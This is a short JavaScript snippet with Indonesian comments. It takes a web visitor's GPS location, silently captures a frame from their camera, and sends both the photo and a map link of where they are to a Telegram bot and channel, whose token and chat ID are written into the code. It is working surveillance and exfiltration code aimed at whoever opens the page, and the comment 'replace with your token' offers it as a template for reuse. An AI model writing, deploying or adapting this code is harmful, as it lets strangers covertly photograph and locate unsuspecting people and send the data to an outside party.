// Meminta izin akses lokasi navigator.geolocation.getCurrentPosition( (position) => { // Mengambil lokasi dan menyimpan dalam variabel const latitude = position.coords.latitude; const longitude = position.coords.longitude; // Meminta izin akses kamera navigator.mediaDevices.getUserMedia({ video: true }) .then((stream) => { // Mengambil foto dari kamera const video = document.createElement('video'); video.srcObject = stream; video.onloadedmetadata = () => { const canvas = document.createElement('canvas'); canvas.width = video.videoWidth; canvas.height = video.videoHeight; canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height); // Mengonversi foto ke dalam format base64 canvas.toBlob((blob) => { const reader = new FileReader(); reader.readAsDataURL(blob); reader.onloadend = function () { const photoDataUrl = reader.result; // Mengirim lokasi dan foto ke channel Telegram sendTelegramMessage(latitude, longitude, photoDataUrl); }; }, 'image/jpeg'); }; }) .catch((error) => { console.error('Gagal mengakses kamera:', error); }); }, (error) => { console.error('Gagal mengakses lokasi:', error); } ); // Fungsi untuk mengirim pesan ke channel Telegram function sendTelegramMessage(latitude, longitude, photoDataUrl) { // Ganti dengan token dan chat_id Anda const token = '6031147308:AAFJktirbb7zNp32vjS7pgyB8jv6Rf0HyD4'; const chatId = '-1001293263927'; // Mengonversi foto ke dalam format blob fetch(photoDataUrl) .then(response => response.blob()) .then(blob => { // Membuat form data untuk mengirim ke server Telegram const formData = new FormData(); formData.append('chat_id', chatId); formData.append('photo', blob, 'photo.jpg'); // Nama file disetel ke 'photo.jpg' formData.append('caption', `Lokasi: https://maps.google.com/?q=${latitude},${longitude}`); // Mengirim lokasi dan foto ke channel Telegram fetch(`https://api.telegram.org/bot${token}/sendPhoto`, { method: 'POST', body: formData, }) .then((response) => response.json()) .then((data) => { console.log('Pesan terkirim ke Telegram:', data); }) .catch((error) => { console.error('Gagal mengirim pesan ke Telegram:', error); }); }) .catch(error => { console.error('Gagal mengonversi foto:', error); }); }